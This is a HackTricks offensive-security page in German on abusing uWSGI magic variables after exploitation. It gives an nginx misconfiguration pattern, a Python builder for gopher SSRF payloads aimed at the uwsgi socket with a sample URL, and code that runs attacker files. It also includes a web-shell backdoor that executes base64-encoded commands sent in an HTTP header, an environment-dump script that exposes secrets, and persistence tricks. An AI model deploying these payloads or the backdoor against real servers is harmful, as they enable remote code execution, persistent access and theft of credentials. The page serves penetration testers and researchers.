WSGI Post-Exploitation Tricks

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

WSGI Übersicht

Web Server Gateway Interface (WSGI) ist eine Spezifikation, die beschreibt, wie ein Webserver mit Webanwendungen kommuniziert und wie Webanwendungen verkettet werden können, um eine Anfrage zu verarbeiten. uWSGI ist einer der populärsten WSGI-Server und wird häufig verwendet, um Python-Webanwendungen auszuliefern. Sein nativer binärer Transport ist das uwsgi-Protokoll (kleingeschrieben), das eine Menge von Schlüssel/Wert-Parametern (“uwsgi params”) an den Backend-Anwendungsserver überträgt.

Related pages you may also want to check:

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

uWSGI Magic Variables Exploitation

uWSGI stellt spezielle “magic variables” bereit, die ändern können, wie die Instanz Anwendungen lädt und dispatcht. Diese Variablen sind keine normalen HTTP-Header — sie sind uwsgi-Parameter, die innerhalb der uwsgi/SCGI/FastCGI-Anfrage vom Reverse-Proxy (nginx, Apache mod_proxy_uwsgi, etc.) zum uWSGI-Backend getragen werden. Wenn eine Proxy-Konfiguration benutzerkontrollierte Daten in uwsgi-Parameter abbildet (zum Beispiel via $arg_*, $http_*, oder unsicher exponierten Endpunkten, die das uwsgi-Protokoll sprechen), können Angreifer diese Variablen setzen und Codeausführung erreichen.

Dangerous mappings in front proxies (nginx example)

Fehlkonfigurationen wie die folgende machen die uWSGI “magic variables” direkt für Benutzereingaben zugänglich:

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

Wenn die App oder die Upload-Funktion das Schreiben von Dateien an einem vorhersehbaren Pfad erlaubt, führt die Kombination mit den oben genannten Mappings in der Regel sofort zu RCE, sobald das Backend die vom Angreifer kontrollierte Datei/Modul lädt.

Wichtige ausnutzbare Variablen

UWSGI_FILE - Beliebiges Laden/Ausführen von Dateien

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Lädt und führt eine beliebige Python-Datei als WSGI-Anwendung aus. Wenn ein Angreifer diesen Parameter über den uwsgi-Param-Bag kontrollieren kann, kann er Remote Code Execution (RCE) erreichen.

UWSGI_SCRIPT - Skript Laden

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Lädt ein angegebenes Skript als neue Anwendung. In Kombination mit Datei-Upload- oder Schreibmöglichkeiten kann dies zu RCE führen.

UWSGI_MODULE und UWSGI_CALLABLE - Dynamisches Laden von Modulen

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Diese Parameter ermöglichen das Laden beliebiger Python-Module und das Aufrufen spezifischer Funktionen in diesen.

UWSGI_SETENV - Manipulation von Umgebungsvariablen

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Kann verwendet werden, um Umgebungsvariablen zu verändern, was potenziell das Verhalten der Anwendung beeinflusst oder das Laden bösartiger Konfigurationen ermöglicht.

UWSGI_PYHOME - Python-Umgebungsmanipulation

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Ändert die Python-virtuelle Umgebung, wodurch potenziell bösartige Pakete oder andere Python-Interpreter geladen werden können.

UWSGI_CHDIR - Verzeichniswechsel

uwsgi_param UWSGI_CHDIR /etc/;

Ändert das Arbeitsverzeichnis vor der Verarbeitung von Anfragen und kann mit anderen Funktionen kombiniert werden.

SSRF + uwsgi protocol (gopher) pivot

Bedrohungsmodell

Wenn die Ziel-Webanwendung eine SSRF-Primitive bereitstellt und die uWSGI-Instanz auf einem internen TCP-Socket lauscht (zum Beispiel, socket = 127.0.0.1:3031), können Sie das rohe uwsgi-Protokoll über gopher ansprechen und uWSGI magische Variablen injizieren.

Das ist möglich, weil viele Deployments intern einen nicht-HTTP uwsgi-Socket verwenden; der Reverse-Proxy (nginx/Apache) übersetzt Client-HTTP in den uwsgi-Parameter-Bag. Mit SSRF+gopher können Sie das uwsgi-Binärpaket direkt erzeugen und gefährliche Variablen wie UWSGI_FILE setzen.

uWSGI protocol structure (quick reference)

  • Header (4 bytes): modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • Body: Folge von [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Für Standard-Anfragen ist modifier1 0. Der Body enthält uwsgi-Parameter wie SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE usw. Siehe die offizielle Protokollspezifikation für vollständige Details.

Minimal packet builder (generate gopher payload)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Beispielverwendung, um eine zuvor auf dem Server geschriebene Datei zwangsweise zu laden:

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

Sende die erzeugte URL durch den SSRF-Sink.

Praktisches Beispiel

Wenn du eine python-Datei auf die Festplatte schreiben kannst (die Dateiendung spielt keine Rolle) mit Code wie:

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

Erzeuge und löse ein gopher payload aus, das UWSGI_FILE auf diesen Pfad setzt. Das Backend importiert und führt es als WSGI app aus.

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Lade es mit UWSGI_FILE und rufe es unter einem gewählten SCRIPT_NAME auf.

Umgebungsbasierte Persistenz

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. Informationsoffenlegung

Ausgabe von Umgebungsvariablen

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Dateisystemzugriff

Kombiniere UWSGI_CHDIR mit einem Helfer zum Bereitstellen von Dateien, um sensible Verzeichnisse zu durchsuchen.

3. Ideen zur Privilegieneskalation

  • Wenn uWSGI mit erhöhten Rechten läuft und sockets/pids schreibt, die root gehören, kann das Ausnutzen von env- und Verzeichnisänderungen dir helfen, Dateien mit privilegierten Besitzern abzulegen oder den Laufzeitzustand zu manipulieren.
  • Das Überschreiben der Konfiguration via env (UWSGI_*) innerhalb einer Datei, die über UWSGI_FILE geladen wird, kann das Prozessmodell und die Worker beeinflussen und Persistence unauffälliger machen.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Reverse-proxy desync issues relevant to uWSGI chains (recent)

Deployments that use Apache httpd with mod_proxy_uwsgi have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:

  • CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): manipulierte Origin-Antwort-Header können HTTP response smuggling verursachen, wenn mod_proxy_uwsgi im Einsatz ist. Ein Upgrade von Apache auf ≥2.4.56 mildert das Problem.
  • CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in mehreren httpd-Modulen konnte zu Desync führen, wenn Backends Header injizieren. Im uWSGI 2.0.26 changelog erscheint das als “let httpd handle CL/TE for non-http handlers.”

Diese Probleme gewähren nicht direkt RCE in uWSGI, können aber in Randfällen mit header injection oder SSRF verkettet werden, um zum uwsgi backend zu pivotieren. Während Tests: fingerprint the proxy and version und betrachte desync/smuggling primitives als möglichen Einstieg zu backend-only routes und sockets.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks